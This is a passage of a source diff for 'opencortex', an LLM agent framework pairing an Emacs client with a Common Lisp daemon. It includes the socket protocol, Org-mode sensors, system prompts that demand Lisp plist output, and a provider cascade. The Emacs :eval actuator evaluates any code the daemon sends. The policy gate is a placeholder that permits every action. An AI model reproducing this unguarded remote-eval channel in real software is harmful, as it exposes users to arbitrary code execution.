(when (equal (getf (org-object-attributes obj) key) value)
(push obj results)))
*memory*)
results))
(defun snapshot-memory ()
"Creates a deep copy of the memory hash table and pushes it to the history store."
(let ((new-snap (make-hash-table :test 'equal)))
(maphash (lambda (k v) (setf (gethash k new-snap) (copy-org-object v))) *memory*)
(vector-push-extend new-snap *history-store*)))
(defun rollback-memory (&optional (steps 1))
"Restores the memory to a previous snapshot state."
(let ((index (- (length *history-store*) steps 1)))
(when (>= index 0)
(setf *memory* (aref *history-store* index))
(harness-log "IMMUNE SYSTEM: Memory rolled back ~a steps." steps))))

424
library/opencortex.el Normal file
View File

@@ -0,0 +1,424 @@
;;; opencortex.el --- Probabilistic-Deterministic Lisp Machine Kernel for Org-mode -*- lexical-binding: t; -*-
;; Copyright (C) 2026 Amr
;;
;; Author: Amr
;; Version: 0.1.0
;; Package-Requires: ((emacs "27.1"))
;; Keywords: convenience, org
;; URL: https://github.com/amr/opencortex
;;; Commentary:
;; opencortex provides a Probabilistic-Deterministic Lisp Machine interface for Emacs.
;; It acts as the sensor/actuator array, communicating with a persistent
;; Common Lisp daemon over a high-speed communication protocol socket.
;;; Code:
(require 'json)
(require 'cl-lib)
(require 'org-id)
(require 'org-element)
(defgroup opencortex nil
"Emacs interface for the opencortex Common Lisp daemon."
:group 'org)
(defcustom opencortex-port 9105
"The port the opencortex daemon is listening on."
:type 'integer
:group 'opencortex)
(defcustom opencortex-host "127.0.0.1"
"The host the opencortex daemon is running on."
:type 'string
:group 'opencortex)
(defcustom opencortex-executable-path "opencortex-server"
"Path to the compiled opencortex-server binary.
If nil, Emacs will not attempt to start the daemon automatically and
will assume you have started it manually (e.g., via SBCL)."
:type '(choice (string :tag "Path to executable")
(const :tag "Manual daemon management" nil))
:group 'opencortex)
(defvar opencortex--network-process nil
"The network process connected to the daemon.")
(defvar opencortex--daemon-process nil
"The spawned daemon child process.")
(defun opencortex--start-daemon ()
"Start the daemon binary if not already running."
(when (and opencortex-executable-path
(not (process-live-p opencortex--daemon-process)))
(message "opencortex: Starting daemon (%s)..." opencortex-executable-path)
(setq opencortex--daemon-process
(make-process
:name "opencortex-daemon"
:buffer "*opencortex-daemon*"
:command (list opencortex-executable-path (number-to-string opencortex-port))
:connection-type 'pipe))
;; Give it a moment to bind to the port
(sleep-for 1.0)))
(defun opencortex-connect ()
"Connect to the opencortex daemon, starting it if necessary."
(interactive)
(when opencortex--network-process
(delete-process opencortex--network-process))
(opencortex--start-daemon)
(condition-case err
(progn
(setq opencortex--network-process
(make-network-process
:name "opencortex"
:buffer "*opencortex*"
:family 'ipv4
:host opencortex-host
:service opencortex-port
:filter #'opencortex--filter
:sentinel #'opencortex--sentinel))
(message "opencortex: Connected to daemon."))
(error
(message "opencortex: Failed to connect to daemon at %s:%s. Ensure it is running. Error: %s"
opencortex-host opencortex-port (error-message-string err)))))
(defun opencortex-disconnect ()
"Disconnect from the opencortex daemon."
(interactive)
(when opencortex--network-process
(delete-process opencortex--network-process)
(setq opencortex--network-process nil)
(message "opencortex: Disconnected from network."))
(when opencortex--daemon-process
(delete-process opencortex--daemon-process)
(setq opencortex--daemon-process nil)
(message "opencortex: Killed daemon process.")))
(defun opencortex--filter (proc string)
"Handle incoming communication protocol messages from the daemon via PROC with STRING."
(let ((buf (process-buffer proc)))
(when (buffer-live-p buf)
(with-current-buffer buf
(goto-char (point-max))
(insert string)
(opencortex--process-buffer buf proc)))))
(defun opencortex--process-buffer (buffer &optional proc)
"Process the communication protocol message BUFFER, optionally using PROC."
(with-current-buffer buffer
(goto-char (point-min))
(while (>= (buffer-size) 6)
(let* ((len-str (buffer-substring (point-min) (+ (point-min) 6)))
(msg-len (string-to-number len-str 16)))
(if (>= (buffer-size) (+ 6 msg-len))
(let* ((msg-start (+ (point-min) 6))
(msg-end (+ msg-start msg-len))
(msg-str (buffer-substring msg-start msg-end))
(plist (car (read-from-string msg-str))))
(delete-region (point-min) msg-end)
(opencortex--handle-message proc plist))
;; Message incomplete, stop loop
(goto-char (point-max))
(setq msg-len 1000000)))))) ; Break loop
(defun opencortex--plist-get (plist prop)
"Case-insensitive keyword lookup for communication protocol compatibility."
(or (plist-get plist prop)
(plist-get plist (intern (upcase (symbol-name prop))))
(plist-get plist (intern (downcase (symbol-name prop))))))
(defun opencortex--handle-message (proc plist)
"Route and execute incoming communication protocol messages from PROC using PLIST."
(let ((type (opencortex--plist-get plist :type))
(id (opencortex--plist-get plist :id))
(payload (or (opencortex--plist-get plist :payload) plist)))
(cond
((member type '(:request :REQUEST))
(opencortex--execute-request proc id payload))
((member type '(:response :RESPONSE))
(message "opencortex: Received response for ID %s" id))
((member type '(:log :LOG))
(let ((text (opencortex--plist-get payload :text))
(meta (opencortex--plist-get plist :meta)))
(opencortex--insert-to-history (concat "[reasoning" (if meta (format " (%s)" (opencortex--plist-get meta :source)) "") "] " text "\n") 'opencortex-system-face)))
(t (message "opencortex: Received unknown message type %s" type)))))
(defun opencortex--execute-request (proc id payload)
"Execute an actuator request from the daemon via PROC with ID and PAYLOAD."
(let ((action (opencortex--plist-get payload :action)))
(cond
((member action '(:eval :EVAL))
(let ((code (opencortex--plist-get payload :code)))
(condition-case err
(let ((result (eval (read code))))
(opencortex-send
`(:type :RESPONSE :id ,id :payload (:status :success :result ,(format "%s" result)))))
(error
(opencortex-send
`(:type :RESPONSE :id ,id :payload (:status :error :message ,(error-message-string err))))))))
((member action '(:message :MESSAGE))
(message "opencortex [DAEMON]: %s" (opencortex--plist-get payload :text))
(opencortex-send `(:type :RESPONSE :id ,id :payload (:status :success))))
((member action '(:insert-at-end :INSERT-AT-END))
(let ((text (opencortex--plist-get payload :text)))
(opencortex--insert-to-history (concat "\nAGENT: " text "\n\n"))
(opencortex-send `(:type :RESPONSE :id ,id :payload (:status :success)))))
((member action '(:refactor-subtree :REFACTOR-SUBTREE))
(let ((target-id (opencortex--plist-get payload :target-id))
(properties (opencortex--plist-get payload :properties)))
(condition-case err
(save-excursion
(when target-id (org-id-goto target-id))
(dolist (prop properties)
(org-set-property (car prop) (cdr prop)))
(opencortex-send `(:type :RESPONSE :id ,id :payload (:status :success))))
(error
(opencortex-send
`(:type :RESPONSE :id ,id :payload (:status :error :message ,(error-message-string err))))))))
(t
(message "opencortex: Unknown action %s" action)
(opencortex-send `(:type :RESPONSE :id ,id :payload (:status :unsupported)))))))
(defun opencortex--sentinel (proc event)
"Handle network process PROC lifecycle EVENT."
(when (string-match "finished" event)
(setq opencortex--network-process nil)
(message "opencortex: Connection lost.")))
(defun opencortex-send (plist)
"Send a Lisp PLIST to the daemon using communication protocol framing."
(let* ((msg (prin1-to-string plist))
(len (length msg))
(framed (format "%06x%s" len msg)))
(if (and opencortex--network-process (process-live-p opencortex--network-process))
(process-send-string opencortex--network-process framed)
(message "opencortex (offline): %s" framed))))
(defun opencortex--buffer-to-sexp ()
"Transform the current Org buffer into a pure Lisp AST (plist)."
(opencortex--clean-element (org-element-parse-buffer)))
(defun opencortex--clean-element (element)
"Recursively transform an Org ELEMENT into a pure Lisp plist."
(cond
((listp element)
(let* ((type (car element))
(props (nth 1 element))
(children (nthcdr 2 element))
(cleaned-props nil))
;; Filter and transform properties
(cl-loop for (key val) on props by 'cddr do
(unless (member key '(:standard-properties :parent :buffer))
(let ((json-val (cond
((stringp val) val)
((numberp val) val)
((booleanp val) val)
(t (format "%s" val)))))
(setq cleaned-props (plist-put cleaned-props key json-val)))))
;; Explicitly capture TODO state
(let ((todo (org-element-property :todo-keyword element)))
(when todo
(setq cleaned-props (plist-put cleaned-props :TODO-STATE (format "%s" todo)))))
(list :type type
:properties cleaned-props
:contents (mapcar #'opencortex--clean-element children))))
((stringp element) element)
(t (format "%s" element))))
;;; Sensors
(defun opencortex-notify-save ()
"Sensor: Notify daemon with full Semantic Perception (AST) when saved."
(when (and opencortex--network-process (derived-mode-p 'org-mode))
(opencortex-send
`(:type :EVENT
:payload (:sensor :buffer-update
:file ,(buffer-file-name)
:state :saved
:ast ,(opencortex--buffer-to-sexp))))))
(defun opencortex-notify-point ()
"Sensor: Notify daemon of the element currently at point (Incremental Perception).
This is much faster than parsing the entire buffer and allows for real-time
responsiveness to the user's cursor position."
(when (and opencortex--network-process (derived-mode-p 'org-mode))
(let ((element (org-element-at-point)))
(opencortex-send
`(:type :EVENT
:payload (:sensor :point-update
:file ,(buffer-file-name)
:element ,(opencortex--clean-element element)))))))
;;; Interaction Commands
(defun opencortex-set-model-cascade (cascade-string)
"Set the ordered list of LLM providers to use as fallbacks.
CASCADE-STRING should be a comma-separated list of keywords,
e.g., ':gemini,:openai,:ollama'."
(interactive "sEnter model cascade (e.g. :gemini,:openai): ")
(unless opencortex--network-process
(opencortex-connect))
(let ((cascade (mapcar #'intern (split-string cascade-string ","))))
(opencortex-send
`(:type :REQUEST
:id ,(truncate (float-time))
:target :system
:payload (:action :set-cascade :cascade ,cascade)))
(message "opencortex: Requesting model cascade update to %s" cascade)))
(defgroup opencortex-faces nil
"Faces for the opencortex chat interface."
:group 'opencortex)
(defface opencortex-user-face
'((((class color) (background dark)) :foreground "LightSkyBlue" :weight bold)
(((class color) (background light)) :foreground "blue" :weight bold)
(t :weight bold :underline t))
"Face for user messages in chat history."
:group 'opencortex-faces)
(defface opencortex-system-face
'((t :slant italic :foreground "gray50"))
"Face for system and reasoning logs."
:group 'opencortex-faces)
(defun opencortex-chat ()
"Modern chat interface for the opencortex kernel.
Opens a history buffer and a dedicated input area."
(interactive)
(let ((chat-buf (get-buffer-create "*opencortex-chat*"))
(input-buf (get-buffer-create "*opencortex-input*")))
;; History Buffer Setup
(with-current-buffer chat-buf
(unless (eq major-mode 'special-mode)
(special-mode)
(let ((inhibit-read-only t))
(erase-buffer)
(insert "--- opencortex History ---\n\n"))))
;; Input Buffer Setup
(with-current-buffer input-buf
(unless (eq major-mode 'org-mode)
(org-mode)
(local-set-key (kbd "C-c C-c") #'opencortex-chat-send)
(local-set-key (kbd "C-c C-k") #'opencortex-interrupt))
(let ((inhibit-read-only t))
(delete-region (point-min) (point-max))
(insert "# Type your message and press C-c C-c to send.\n")))
;; Layout: Chat History (Top), Input Area (Bottom)
(delete-other-windows)
(switch-to-buffer chat-buf)
(let ((win (split-window-below -6))) ; 6 lines for input
(set-window-buffer win input-buf)
(select-window win))))
(defun opencortex-interrupt ()
"Interrupt the opencortex reasoning loop."
(interactive)
(unless opencortex--network-process
(opencortex-connect))
(opencortex-send
`(:type :EVENT
:payload (:sensor :interrupt)))
(message "opencortex: Interrupt signal sent."))
(defun opencortex--insert-to-history (text &optional face)
"Insert TEXT into the chat history buffer with optional FACE and scroll."
(let ((buf (get-buffer-create "*opencortex-chat*")))
(with-current-buffer buf
(let ((inhibit-read-only t))
(save-excursion
(goto-char (point-max))
(insert (if face (propertize text 'face face) text)))
;; Force scroll in all windows showing this buffer
(walk-windows
(lambda (w)
(when (eq (window-buffer w) buf)
(set-window-point w (point-max))))
nil t)))))
(defun opencortex-chat-send ()
"Send the current chat buffer content to the agent."
(interactive)
(unless opencortex--network-process
(opencortex-connect))
(let* ((text (buffer-substring-no-properties (point-min) (point-max)))
(clean-text (string-trim (replace-regexp-in-string "^#.*\n" "" text))))
(when (> (length clean-text) 0)
;; Append to history with styling
(opencortex--insert-to-history (concat "YOU: " clean-text "\n\n") 'opencortex-user-face)
;; Clear input buffer
(let ((inhibit-read-only t))
(delete-region (point-min) (point-max))
(insert "# Type your message and press C-c C-c to send.\n"))
;; Send to daemon
(opencortex-send
`(:type :EVENT
:meta (:source :emacs)
:payload (:sensor :user-input
:text ,clean-text)))
(message "opencortex: Message sent."))))
(defun opencortex-auth-google (code)
"Submit the Google OAuth authorization CODE to the daemon."
(interactive "sEnter Google Authorization Code: ")
(unless opencortex--network-process
(opencortex-connect))
(opencortex-send
`(:type :REQUEST
:id ,(truncate (float-time))
:target :system
:payload (:action :auth-google-code :code ,code)))
(message "opencortex: Authorization code sent to daemon."))
(defun opencortex-organize-subtree ()
...
"Command: Ask the agent to organize the current Org subtree."
(interactive)
(opencortex-run-command :organize-subtree))
(defun opencortex-summarize-buffer ()
"Command: Ask the agent to summarize the current buffer."
(interactive)
(opencortex-run-command :summarize-buffer))
(defun opencortex-run-command (command-type)
"Generic runner for high-level COMMAND-TYPE."
(unless opencortex--network-process
(opencortex-connect))
(let ((ast (opencortex--buffer-to-sexp)))
(opencortex-send
`(:type :EVENT
:payload (:sensor :user-command
:command ,command-type
:file ,(buffer-file-name)
:ast ,ast)))
(message "opencortex: Requesting '%s'..." command-type)))
;;;###autoload
(define-minor-mode opencortex-mode
"Global minor mode for the opencortex Probabilistic-Deterministic kernel.
When enabled, this mode starts the Lisp daemon (if configured)
and establishes the network connection to enable proactive
Org-mode sensing."
:global t
:group 'opencortex
(if opencortex-mode
(progn
(add-hook 'after-save-hook #'opencortex-notify-save)
(add-hook 'post-command-hook #'opencortex-notify-point)
(add-hook 'kill-emacs-hook #'opencortex-disconnect)
(opencortex-connect))
(remove-hook 'after-save-hook #'opencortex-notify-save)
(remove-hook 'post-command-hook #'opencortex-notify-point)
(remove-hook 'kill-emacs-hook #'opencortex-disconnect)
(opencortex-disconnect)))
(provide 'opencortex)
;;; opencortex.el ends here

189
library/package.lisp Normal file
View File

@@ -0,0 +1,189 @@
(defpackage :opencortex
(:use :cl)
(:export
;; --- Communication Protocol ---
#:frame-message
#:read-framed-message
#:PROTO-GET
#:LIST-OBJECTS-WITH-ATTRIBUTE
#:COSINE-SIMILARITY
#:VAULT-MASK-STRING
#:*VAULT-MEMORY*
#:parse-message
#:make-hello-message
#:validate-communication-protocol-schema
;; --- Daemon Lifecycle ---
#:start-daemon
#:stop-daemon
#:harness-log
#:main
;; --- Memory (CLOSOS) ---
#:ingest-ast
#:lookup-object
#:list-objects-by-type
#:org-id-new
#:*memory*
#:*history-store*
#:org-object
#:make-org-object
#:org-object-id
#:org-object-type
#:org-object-attributes
#:org-object-parent-id
#:org-object-children
#:org-object-version
#:org-object-last-sync
#:org-object-vector
#:org-object-content
#:org-object-hash
#:snapshot-memory
#:rollback-memory
;; --- Context API (Peripheral Vision) ---
#:context-query-store
#:context-get-active-projects
#:context-get-recent-completed-tasks
#:context-list-all-skills
#:context-get-skill-source
#:context-get-system-logs
#:context-resolve-path
#:context-get-skill-telemetry
#:harness-track-telemetry
#:context-assemble-global-awareness
;; --- Reactive Signal Pipeline ---
#:process-signal
#:perceive-gate
#:probabilistic-gate
#:consensus-gate
#:act-gate
#:reason-gate
#:perceive-gate
#:dispatch-gate
#:inject-stimulus
#:initialize-actuators
#:dispatch-action
#:register-actuator
;; --- Skill Engine ---
#:load-skill-from-org
#:initialize-all-skills
#:load-skill-with-timeout
#:topological-sort-skills
#:validate-lisp-syntax
#:defskill
#:*skills-registry*
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
;; --- Tool Registry ---
#:def-cognitive-tool
#:*cognitive-tools*
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
#:cognitive-tool-parameters
#:cognitive-tool-guard
#:cognitive-tool-body
;; --- Emacs Client Registry ---
#:*emacs-clients*
#:*clients-lock*
#:register-emacs-client
#:unregister-emacs-client
;; --- Probabilistic Engine ---
#:ask-probabilistic
#:register-probabilistic-backend
#:distill-prompt
#:*provider-cascade*
;; --- Security Vault ---
#:vault-get-secret
#:vault-set-secret
;; --- Deterministic Logic ---
#:list-objects-with-attribute
#:deterministic-verify
;; --- AST Helpers ---
#:find-headline-missing-id))
(in-package :opencortex)
(defvar *system-logs* nil
"Thread-safe list of the most recent system messages.")
(defvar *logs-lock* (bt:make-lock "harness-logs-lock")
"Protects the circular log buffer from race conditions during concurrent skill execution.")
(defvar *max-log-history* 100
"The maximum number of entries to preserve in the in-memory log buffer.")
(defvar *skills-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills, keyed by their unique identifier.")
(defvar *skill-telemetry* (make-hash-table :test 'equal)
"Stores execution duration and failure counts for every registered skill.")
(defvar *telemetry-lock* (bt:make-lock "harness-telemetry-lock")
"Protects the telemetry store from concurrent updates.")
(defun proto-get (plist key)
"Robustly retrieves a value from a plist, checking both uppercase and lowercase keyword versions."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(defun harness-track-telemetry (skill-name duration status)
"Updates performance metrics for a specific skill. Status should be :success or :rejected."
(when skill-name
(bt:with-lock-held (*telemetry-lock*)
(let ((entry (or (gethash skill-name *skill-telemetry*) (list :executions 0 :total-time 0 :failures 0))))
(incf (getf entry :executions))
(incf (getf entry :total-time) duration)
(when (eq status :rejected) (incf (getf entry :failures)))
(setf (gethash skill-name *skill-telemetry*) entry)))))
(defvar *cognitive-tools* (make-hash-table :test 'equal)
"The active set of physical capabilities available to the agent.")
(defstruct cognitive-tool
"Represents a physical or virtual capability with explicit documentation and security guards."
name
description
parameters
guard
body)
(defmacro def-cognitive-tool (name description parameters &key guard body)
"Registers a new cognitive tool.
NAME: Keyword identifier.
DESCRIPTION: Human-readable intent (used in LLM prompts).
PARAMETERS: List of property lists defining arguments.
GUARD: (context -> boolean) function to prevent unsafe calls.
BODY: The actual Lisp execution logic."
`(setf (gethash (string-downcase (string ',name)) *cognitive-tools*)
(make-cognitive-tool :name (string-downcase (string ',name))
:description ,description
:parameters ',parameters
:guard ,guard
:body ,body)))
(defun harness-log (msg &rest args)
"Centralized logging for the harness. Writes to STDOUT and the thread-safe circular buffer."
(let ((formatted-msg (apply #'format nil msg args)))
(bt:with-lock-held (*logs-lock*)
(push formatted-msg *system-logs*)
(when (> (length *system-logs*) *max-log-history*)
(setq *system-logs* (subseq *system-logs* 0 *max-log-history*))))
(format t "~a~%" formatted-msg)
(finish-output)))

60
library/perceive.lisp Normal file
View File

@@ -0,0 +1,60 @@
(in-package :opencortex)
(defvar *async-sensors* '(:chat-message :delegation :user-command)
"List of sensors that should be processed asynchronously to avoid blocking gateways.")
(defvar *foveal-focus-id* nil
"The Org ID of the node the user is currently interacting with.")
(defun inject-stimulus (raw-message &key stream (depth 0))
"Enqueues a raw message into the reactive signal pipeline."
(let* ((payload (getf raw-message :payload))
(sensor (getf payload :sensor))
(meta (getf raw-message :meta))
(async-p (or (getf payload :async-p) (member sensor *async-sensors*))))
;; Ensure META exists and contains the stream if provided
(unless meta (setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
(when stream (setf (getf meta :reply-stream) stream))
(setf (getf raw-message :meta) meta)
(if async-p
(bt:make-thread
(lambda ()
(restart-case (handler-bind ((error (lambda (c) (harness-log "ASYNC ERROR: ~a" c) (invoke-restart 'skip-event))))
(process-signal raw-message))
(skip-event () nil)))
:name "opencortex-async-task")
(restart-case (handler-bind ((error (lambda (c) (harness-log "SYSTEM ERROR: ~a" c) (invoke-restart 'skip-event))))
(process-signal raw-message))
(skip-event () (harness-log "SYSTEM RECOVERY: Stimulus dropped.~%"))))))
(defun perceive-gate (signal)
"Initial processing: Normalizes raw stimuli and updates memory."
(let* ((payload (getf signal :payload))
(type (getf signal :type))
(meta (getf signal :meta))
(sensor (getf payload :sensor)))
(harness-log "GATE [Perceive]: ~a (~a) [Source: ~s]" type (or sensor "no-sensor") (getf meta :source))
(cond ((eq type :EVENT)
(case sensor
(:buffer-update
(let ((ast (getf payload :ast)))
(when ast
(snapshot-memory)
(ingest-ast ast))))
(:point-update
(let ((element (getf payload :element)))
(when element
(snapshot-memory)
(setf *foveal-focus-id* (ignore-errors (getf element :id)))
(ingest-ast element))))
(:interrupt
(bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* t)))))
((eq type :RESPONSE)
(harness-log "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
(setf (getf signal :status) :perceived)
(setf (getf signal :foveal-focus) *foveal-focus-id*)
signal))

25
library/policy.lisp Normal file
View File

@@ -0,0 +1,25 @@
(in-package :opencortex)
(defun policy-check-autonomy (action context)
"Ensures the action does not violate the Autonomy invariant."
(declare (ignore context))
;; Implementation placeholder: currently permits all actions.
;; Future: Scan for non-autonomous domain names or proprietary API endpoints.
action)
(defun policy-deterministic-gate (action context)
"The main policy gate. Sub-calls engineering standards if available."
(let ((current-action (policy-check-autonomy action context)))
(when current-action
(let ((eng-pkg (find-package :opencortex.skills.org-skill-engineering-standards)))
(when eng-pkg
(let ((eng-gate (find-symbol "ENGINEERING-STANDARDS-GATE" eng-pkg)))
(when (and eng-gate (fboundp eng-gate))
(setf current-action (funcall (symbol-function eng-gate) current-action context)))))))
current-action))
(defskill :skill-policy
:priority 100
:trigger (lambda (ctx) t)
:probabilistic nil
:deterministic #'policy-deterministic-gate)

123
library/probabilistic.lisp Normal file
View File

@@ -0,0 +1,123 @@
(in-package :opencortex)
(defvar *probabilistic-backends* (make-hash-table :test 'equal))
(defvar *provider-cascade* nil)
(defun register-probabilistic-backend (name fn) (setf (gethash name *probabilistic-backends*) fn))
(defvar *model-selector-fn* nil "A function called with (provider context) to return a model ID.")
(defvar *consensus-enabled-p* nil "If T, ask-probabilistic queries all backends in parallel.")
(defun ask-probabilistic (prompt &key (system-prompt "You are the Probabilistic engine of a Probabilistic-Deterministic Lisp Machine.") (cascade nil) (context nil))
"Dispatches a neural request through the provider cascade or parallel consensus."
(let ((backends (cond
((and cascade (listp cascade)) cascade)
((functionp cascade) (funcall cascade context))
(t *provider-cascade*))))
(if *consensus-enabled-p*
;; PARALLEL CONSENSUS MODE
(let ((results nil)
(threads nil)
(lock (bt:make-lock)))
(dolist (backend backends)
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(push (bt:make-thread
(lambda ()
(harness-log "PROBABILISTIC [Consensus]: Querying backend ~a..." backend)
(let* ((model (when *model-selector-fn* (funcall *model-selector-fn* backend context)))
(result (ignore-errors
(if model
(funcall backend-fn prompt system-prompt :model model)
(funcall backend-fn prompt system-prompt)))))
(bt:with-lock-held (lock)
(push result results)))))
threads))))
;; Wait for all threads with a timeout (e.g., 30s)
(let ((start-time (get-universal-time)))
(loop while (and (< (length results) (length threads))
(< (- (get-universal-time) start-time) 30))
do (sleep 0.1)))
;; Return the list of raw results (filtering out nils or errors)
(let ((valid-results (remove-if-not #'stringp results)))
(if valid-results
(format nil "~{~a~^|CONSENSUS-SEP|~}" valid-results)
"(:type :LOG :payload (:text \"Neural Consensus Failure\"))")))
;; SEQUENTIAL CASCADE MODE
(or (dolist (backend backends)
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(harness-log "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (when *model-selector-fn* (funcall *model-selector-fn* backend context)))
(result (if model
(funcall backend-fn prompt system-prompt :model model)
(funcall backend-fn prompt system-prompt))))
(unless (or (null result)
(and (stringp result) (search ":LOG" result) (or (search "Failure" result) (search "missing" result))))
(return result))))))
"(:type :LOG :payload (:text \"Neural Cascade Failure\"))"))))
(defun think (context)
"Invokes the neural Probabilistic engine to propose a Lisp action based on context."
(let ((active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(global-context (context-assemble-global-awareness)))
(if active-skill
(progn
(harness-log "PROBABILISTIC: Engaging skill '~a'~%" (skill-name active-skill))
(let* ((prompt-generator (skill-probabilistic-prompt active-skill))
(raw-prompt (when prompt-generator (funcall prompt-generator context)))
(full-system-prompt (concatenate 'string
"ACTUATOR IDENTITY: You are the pure Lisp actuator for the opencortex kernel.
MANDATE: Output EXACTLY ONE Common Lisp property list starting with (:type :REQUEST).
ZERO CONVERSATION: Do not explain. Do not say 'Okay'. Do not use markdown blocks.
STRICT RULE: Do not output multiple lists. Do not chain multiple requests.
DO NOT embed tool calls inside text strings.
"
global-context
"
"
tool-belt
"
IMPORTANT: To reply to the user, you MUST use:
(:type :REQUEST :target :emacs :action :insert-at-end :buffer \"*opencortex-chat*\" :text \"* <Response Text>\")
To call a tool, you MUST use:
(:type :REQUEST :target :tool :action :call :tool \"<name>\" :args (:arg1 \"val\"))
")))
(if (and raw-prompt (> (length raw-prompt) 1))
(let* ((thought (ask-probabilistic raw-prompt :system-prompt full-system-prompt :context context))
(raw-thoughts (cl-ppcre:split (cl-ppcre:quote-meta-chars "|CONSENSUS-SEP|") thought))
(suggestions nil))
(dolist (raw-thought raw-thoughts)
(harness-log "PROBABILISTIC RAW: ~a~%" raw-thought)
(let* ((cleaned-thought
(let ((match (cl-ppcre:scan-to-strings "(?s)```(?:lisp)?\\n?(.*?)\\n?```" raw-thought)))
(if match
(let ((regs (nth-value 1 (cl-ppcre:scan-to-strings "(?s)```(?:lisp)?\\n?(.*?)\\n?```" raw-thought))))
(if (and regs (> (length regs) 0)) (elt regs 0) raw-thought))
(string-trim '(#\Space #\Newline #\Tab) raw-thought))))
(suggestion (handler-case (read-from-string cleaned-thought)
(error (c)
;; EMIT ASYNCHRONOUS REPAIR STIMULUS
(list :type :EVENT :payload
(list :sensor :syntax-error
:code cleaned-thought
:error (format nil "~a" c)))))))
(harness-log "PROBABILISTIC Suggestion: ~a~%" cleaned-thought)
(when (and suggestion (listp suggestion))
(push suggestion suggestions))))
(if (and *consensus-enabled-p* suggestions)
(nreverse suggestions)
(first (nreverse suggestions))))
'(:type :LOG :payload (:text "Skill triggered (Deterministic only)")))))
nil)))
(defun distill-prompt (full-prompt successful-output)
(let ((system-instr "You are a Meta-Cognitive Prompt Architect. DISTILL into template."))
(ask-probabilistic (format nil "PROMPT: ~a~%RESULT: ~a" full-prompt successful-output) :system-prompt system-instr)))

124
library/reason.lisp Normal file
View File

@@ -0,0 +1,124 @@
(in-package :opencortex)
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
"A global mapping of provider identifiers (keywords) to their respective execution functions.")
(defvar *provider-cascade* nil
"An ordered list of providers to attempt if the primary one fails.")
(defvar *model-selector-fn* nil
"A hook for dynamic model selection based on context complexity.")
(defvar *consensus-enabled-p* nil
"Flag to enable parallel multi-model voting (not implemented in MVP).")
(defun register-probabilistic-backend (name fn)
"Registers a neural provider with its calling function."
(setf (gethash name *probabilistic-backends*) fn))
(defun probabilistic-call (prompt &key (system-prompt "You are the Probabilistic engine.") (cascade nil) (context nil))
"Dispatches a neural request through the provider cascade. Returns a Lisp plist or a failure log."
(let ((backends (or cascade *provider-cascade*)))
(or (dolist (backend backends)
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(harness-log "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (when *model-selector-fn* (funcall *model-selector-fn* backend context)))
(result (if model
(funcall backend-fn prompt system-prompt :model model)
(funcall backend-fn prompt system-prompt))))
(cond ((and (listp result) (eq (getf result :status) :success))
(return (getf result :content)))
((stringp result) (return result))
(t (harness-log "PROBABILISTIC: Backend ~a failed: ~a" backend (getf result :message))))))))
(list :type :LOG :payload (list :text "Neural Cascade Failure: All providers exhausted.")))))
(defun strip-markdown (text)
"Strips common markdown code block markers from text to ensure valid S-expression parsing."
(if (and text (stringp text))
(let ((cleaned text))
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
(string-trim '(#\Space #\Newline #\Tab) cleaned))
text))
(defun think (context)
"Generates a Lisp action proposal based on current context."
(let* ((active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(global-context (context-assemble-global-awareness))
(system-logs (context-get-system-logs))
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent")))
(let* ((prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
(raw-prompt (if prompt-generator
(funcall prompt-generator context)
(let ((p (proto-get (proto-get context :payload) :text)))
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
(system-prompt (format nil "IDENTITY: ~a. MANDATE: Respond with ONE Lisp plist. ~a ~a RECENT_LOGS: ~a
IMPORTANT: To reply to the user, you MUST use:
(:TYPE :REQUEST :PAYLOAD (:ACTION :MESSAGE :TEXT \"<Response Text>\"))
To call a tool, you MUST use:
(:TYPE :REQUEST :TARGET :TOOL :ACTION :CALL :TOOL \"<name>\" :ARGS (:arg1 \"val\"))
PROVIDER RULE: Always use the default cascade provider unless a specific model or capability is required for the task."
assistant-name global-context tool-belt system-logs)))
(let* ((thought (probabilistic-call raw-prompt :system-prompt system-prompt :context context))
(cleaned (strip-markdown thought))
(meta (proto-get context :meta))
(source (proto-get meta :source)))
(if (and cleaned (stringp cleaned))
(let ((*read-eval* nil))
(if (and (> (length cleaned) 0) (char= (char cleaned 0) #\())
(handler-case
(let ((parsed (read-from-string cleaned)))
(let ((type (proto-get parsed :TYPE))
(target (or (proto-get parsed :TARGET) (proto-get parsed :target))))
(cond ((member type '(:REQUEST :EVENT :STATUS :RESPONSE))
(unless (proto-get parsed :target) (setf (getf parsed :target) (or source :CLI)))
parsed)
;; Handle raw plists or lists of plists that look like tool calls or data
((or (eq target :TOOL) (eq target :tool) (getf parsed :TOOL) (getf parsed :tool)
(and (listp parsed) (listp (car parsed)) (keywordp (caar parsed))))
(list :TYPE :REQUEST :TARGET :TOOL :PAYLOAD parsed))
(t (list :TYPE :REQUEST :TARGET (or source :CLI) :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned))))))
(error (c) (list :TYPE :REQUEST :TARGET (or source :CLI) :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned))))
(list :TYPE :REQUEST :TARGET (or source :CLI) :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned))))
thought)))))
(defun deterministic-verify (proposed-action context)
